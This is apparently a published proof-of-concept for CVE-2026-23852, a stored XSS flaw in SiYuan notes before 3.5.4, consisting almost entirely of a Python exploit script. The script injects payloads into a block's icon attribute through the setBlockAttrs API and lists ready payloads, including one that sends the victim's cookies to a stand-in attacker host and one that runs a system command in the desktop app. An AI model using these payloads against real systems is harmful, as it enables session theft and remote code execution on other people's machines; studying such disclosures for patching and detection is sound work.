CVE-2026-23852: SiYuan笔记存储型XSS漏洞可导致RCE

import requests import json # CVE-2026-23852 PoC - Stored XSS via setBlockAttrs API # Target: SiYuan < 3.5.4 TARGET_URL = "http://target:6806" API_SET_BLOCK_ATTRS = "/api/attr/setBlockAttrs" def exploit_xss(target_url, block_id, payload): """ Inject XSS payload into block's icon attribute block_id: Target block ID (e.g., 20230101120000-abcdefg) payload: Malicious HTML/JS payload for icon attribute """ endpoint = target_url + API_SET_BLOCK_ATTRS data = { "id": block_id, "attrs": { "icon": payload } } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=data, headers=headers) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: result = response.json() if result.get("code") == 0: print("[+] XSS payload injected successfully!") print("[*] Payload will execute when block is rendered") return response.json() except Exception as e: print(f"[-] Error: {e}") return None # Example payloads for RCE in desktop environment PAYLOADS = { "xss_basic": '<img src=x onerror=alert(document.cookie)>', "xss_steal_token": '<svg/onload=fetch("http://attacker/steal?c="+document.cookie)>', "desktop_rce": '<svg/onload="require(\'child_process\').exec(\'calc\')">' } if __name__ == "__main__": # Replace with actual block ID block_id = input("Enter block ID: ") # Use basic XSS payload exploit_xss(TARGET_URL, block_id, PAYLOADS["xss_basic"])